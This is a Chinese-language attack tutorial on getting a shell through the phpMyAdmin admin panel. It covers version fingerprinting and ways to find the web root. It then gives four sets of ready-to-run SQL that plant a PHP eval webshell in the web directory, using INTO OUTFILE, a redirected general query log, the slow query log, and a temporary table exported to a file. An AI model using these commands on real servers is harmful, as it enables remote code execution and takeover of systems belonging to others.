phpMyAdmin后台 4种getshell方法
1、查看phpMyAdmin版本,搜索公开漏洞
获取phpmyadmin版本信息方法:
Documetation.html
Documetation.txt
translators.html
readme.php
README
changelog.php
Change
在phpmyadmin目录后面添加以上的文件即可。
2、前提条件
1、root权限
2、网站的绝对路径
3、secure_file_priv设置为空
【secure_file_priv参数:
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
空 不限制目录】
2.1 网站物理路径获取方法
1.web报错信息:可以通过各种fuzz不存在的目录尝试让目标报错,有可能爆出绝对路径
2.通过phpinfo()获取路径:在phpinfo页面直接搜索:DOCUMENT_ROOT
3.通过目录文件信息泄露获取:扫到目录时候每个都尝试访问一下,说不定会有意想不到的收获
4.如果目标站点是利用phpstudy、Xampp、LAMPP等之类搭建的,可以通过查看数据库路径
show variables like '%datadir%';
或者
select @@basedir;
获取到数据库路径后再结合中间件目录结构猜测web目录
3、getshell的几种方式
3.1 通过select into outfile getshell
1.查看权限
show global variables like '%secure_file_priv%';
2.写入一句话木马
select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'C:\\xampp\\htdocs\\tieuhoc\\a.php'
或者
select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'C:/xampp/htdocs/tieuhoc/a.php'
3.2 通过日志文件写 shell
general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容的话
1、查看当前日志文件:
SHOW VARIABLES LIKE 'general%';
2、开启日志记录:
set global general_log = "ON";
3、更改日志文件路径:
set global general_log_file='C:\\xampp\\htdocs\\tieuhoc\\b.php'
4、往日志文件里写入一句话木马
select '<?php @eval($_POST[cmd]);?>';
3.3 通过慢查询写shell
show variables like '%slow%'set global slow_query_log=on;set global slow_query_log_file='C:\\xampp\\htdocs\\tieuhoc\\c.php'select '<?php @eval($_POST[cmd]);?>' or sleep(10);
3.4 创建数据库和表写入webshell
前提:拥有root权限、网站绝对路径已知(并且确定有写入权限); secure_file_priv没有具体值
CREATE TABLE test( id text(200) not null);
INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');
SELECT id FROM test INTO OUTFILE 'C:\\xampp\\htdocs\\tieuhoc\\e.php';
DROP TABLE IF EXISTS test;